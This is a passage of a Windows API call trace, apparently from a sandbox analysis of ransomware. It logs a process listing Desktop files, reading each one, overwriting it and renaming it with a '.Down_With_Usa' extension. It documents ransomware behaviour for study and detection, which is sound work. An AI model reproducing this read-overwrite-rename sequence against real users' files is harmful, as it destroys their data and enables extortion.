[0114.717] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x83875a60, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x83875a60, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0114.717] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e24dc50, ftCreationTime.dwHighDateTime=0x1d5dece, ftLastAccessTime.dwLowDateTime=0xe7a313d0, ftLastAccessTime.dwHighDateTime=0x1d5e290, ftLastWriteTime.dwLowDateTime=0xe7a313d0, ftLastWriteTime.dwHighDateTime=0x1d5e290, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9AUlfZt XkSaee.png", cAlternateFileName="-9AULF~1.PNG")) returned 1
[0114.717] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf643eb80, ftCreationTime.dwHighDateTime=0x1d5dfa2, ftLastAccessTime.dwLowDateTime=0x6a8a1c10, ftLastAccessTime.dwHighDateTime=0x1d5dec4, ftLastWriteTime.dwLowDateTime=0x6a8a1c10, ftLastWriteTime.dwHighDateTime=0x1d5dec4, nFileSizeHigh=0x0, nFileSizeLow=0xee9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1r_iWvO-.m4a", cAlternateFileName="")) returned 1
[0114.717] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5092c00, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0x4c591240, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0x4c591240, ftLastWriteTime.dwHighDateTime=0x1d5d9ed, nFileSizeHigh=0x0, nFileSizeLow=0x5bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="4MpfxDyRBYXshnSF.flv", cAlternateFileName="4MPFXD~1.FLV")) returned 1
[0114.718] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39251860, ftCreationTime.dwHighDateTime=0x1d5e814, ftLastAccessTime.dwLowDateTime=0x429686b0, ftLastAccessTime.dwHighDateTime=0x1d5dcff, ftLastWriteTime.dwLowDateTime=0x429686b0, ftLastWriteTime.dwHighDateTime=0x1d5dcff, nFileSizeHigh=0x0, nFileSizeLow=0x4d2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9qDc.bmp", cAlternateFileName="")) returned 1
[0114.718] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b78940, ftCreationTime.dwHighDateTime=0x1d5e435, ftLastAccessTime.dwLowDateTime=0x5ea17f40, ftLastAccessTime.dwHighDateTime=0x1d5e0f1, ftLastWriteTime.dwLowDateTime=0x5ea17f40, ftLastWriteTime.dwHighDateTime=0x1d5e0f1, nFileSizeHigh=0x0, nFileSizeLow=0x180e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="EHN9g.png", cAlternateFileName="")) returned 1
[0114.718] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75655e0, ftCreationTime.dwHighDateTime=0x1d5d7c7, ftLastAccessTime.dwLowDateTime=0x613dbf20, ftLastAccessTime.dwHighDateTime=0x1d5e2cc, ftLastWriteTime.dwLowDateTime=0x613dbf20, ftLastWriteTime.dwHighDateTime=0x1d5e2cc, nFileSizeHigh=0x0, nFileSizeLow=0x864c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hK_3yzTfN67FeXi.wav", cAlternateFileName="HK_3YZ~1.WAV")) returned 1
[0114.718] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9224fc50, ftCreationTime.dwHighDateTime=0x1d5e148, ftLastAccessTime.dwLowDateTime=0x81936410, ftLastAccessTime.dwHighDateTime=0x1d5dcd6, ftLastWriteTime.dwLowDateTime=0x81936410, ftLastWriteTime.dwHighDateTime=0x1d5dcd6, nFileSizeHigh=0x0, nFileSizeLow=0x163c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nuFUvZvap.m4a", cAlternateFileName="NUFUVZ~1.M4A")) returned 1
[0114.718] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fcf330, ftCreationTime.dwHighDateTime=0x1d5de52, ftLastAccessTime.dwLowDateTime=0x78fee030, ftLastAccessTime.dwHighDateTime=0x1d5e425, ftLastWriteTime.dwLowDateTime=0x78fee030, ftLastWriteTime.dwHighDateTime=0x1d5e425, nFileSizeHigh=0x0, nFileSizeLow=0xcddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NwlIJoXs.swf", cAlternateFileName="")) returned 1
[0114.719] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x940865a0, ftLastWriteTime.dwHighDateTime=0x1d5e4a6, nFileSizeHigh=0x0, nFileSizeLow=0xbaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="qkXY72EZzbIYwx-D.docx", cAlternateFileName="QKXY72~1.DOC")) returned 1
[0114.719] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x940865a0, ftLastWriteTime.dwHighDateTime=0x1d5e4a6, nFileSizeHigh=0x0, nFileSizeLow=0xbaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="qkXY72EZzbIYwx-D.docx", cAlternateFileName="QKXY72~1.DOC")) returned 0
[0114.719] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0114.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0114.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0114.719] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png", lpFilePart=0x0) returned 0x4b
[0114.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0114.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\-9aulfzt xksaee.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0114.720] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x906
[0114.720] ReadFile (in: hFile=0x3a8, lpBuffer=0x26157f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26157f0*, lpNumberOfBytesRead=0x2eb8d8*=0x906, lpOverlapped=0x0) returned 1
[0114.751] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png", lpFilePart=0x0) returned 0x4b
[0114.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0114.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\-9aulfzt xksaee.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0114.754] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png", lpFilePart=0x0) returned 0x4b
[0114.754] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png.Down_With_Usa", lpFilePart=0x0) returned 0x59
[0114.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0114.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\-9aulfzt xksaee.png"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e24dc50, ftCreationTime.dwHighDateTime=0x1d5dece, ftLastAccessTime.dwLowDateTime=0xe7a313d0, ftLastAccessTime.dwHighDateTime=0x1d5e290, ftLastWriteTime.dwLowDateTime=0x20e20660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1
[0114.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0114.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\-9aulfzt xksaee.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\-9AUlfZt XkSaee.png.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\-9aulfzt xksaee.png.down_with_usa")) returned 1
[0114.756] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv", lpFilePart=0x0) returned 0x4c
[0114.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0114.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\4mpfxdyrbyxshnsf.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0114.756] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x5bd5
[0114.756] ReadFile (in: hFile=0x3a8, lpBuffer=0x2706540, nNumberOfBytesToRead=0x5bd5, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2706540*, lpNumberOfBytesRead=0x2eb8d8*=0x5bd5, lpOverlapped=0x0) returned 1
[0114.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv", lpFilePart=0x0) returned 0x4c
[0114.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0114.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\4mpfxdyrbyxshnsf.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0114.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv", lpFilePart=0x0) returned 0x4c
[0114.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0114.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0114.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\4mpfxdyrbyxshnsf.flv"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5092c00, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0x4c591240, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0x20eb8be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5be0)) returned 1
[0114.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0114.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\4mpfxdyrbyxshnsf.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\4MpfxDyRBYXshnSF.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\4mpfxdyrbyxshnsf.flv.down_with_usa")) returned 1
[0114.813] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp", lpFilePart=0x0) returned 0x40
[0114.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0114.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\9qdc.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0114.813] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x4d2d
[0114.813] ReadFile (in: hFile=0x3a8, lpBuffer=0x261ab40, nNumberOfBytesToRead=0x4d2d, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x261ab40*, lpNumberOfBytesRead=0x2eb8d8*=0x4d2d, lpOverlapped=0x0) returned 1
[0114.852] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp", lpFilePart=0x0) returned 0x40
[0114.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0114.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\9qdc.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0114.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp", lpFilePart=0x0) returned 0x40
[0114.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x4e
[0114.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0114.858] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\9qdc.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39251860, ftCreationTime.dwHighDateTime=0x1d5e814, ftLastAccessTime.dwLowDateTime=0x429686b0, ftLastAccessTime.dwHighDateTime=0x1d5dcff, ftLastWriteTime.dwLowDateTime=0x20f2b000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4d30)) returned 1
[0114.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0114.859] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\9qdc.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\9qDc.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\9qdc.bmp.down_with_usa")) returned 1
[0114.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png", lpFilePart=0x0) returned 0x41
[0114.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0114.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\ehn9g.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0114.861] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x180e2
[0114.862] ReadFile (in: hFile=0x3a8, lpBuffer=0x130e77c8, nNumberOfBytesToRead=0x180e2, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x130e77c8*, lpNumberOfBytesRead=0x2eb8d8*=0x180e2, lpOverlapped=0x0) returned 1
[0114.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png", lpFilePart=0x0) returned 0x41
[0114.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0114.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\ehn9g.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0114.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png", lpFilePart=0x0) returned 0x41
[0114.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png.Down_With_Usa", lpFilePart=0x0) returned 0x4f
[0114.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0114.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\ehn9g.png"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b78940, ftCreationTime.dwHighDateTime=0x1d5e435, ftLastAccessTime.dwLowDateTime=0x5ea17f40, ftLastAccessTime.dwHighDateTime=0x1d5e0f1, ftLastWriteTime.dwLowDateTime=0x2100f840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x180f0)) returned 1
[0114.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0114.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\ehn9g.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\EHN9g.png.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\ehn9g.png.down_with_usa")) returned 1
[0114.961] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav", lpFilePart=0x0) returned 0x4b
[0114.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0114.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\hK_3yzTfN67FeXi.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\hk_3yztfn67fexi.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
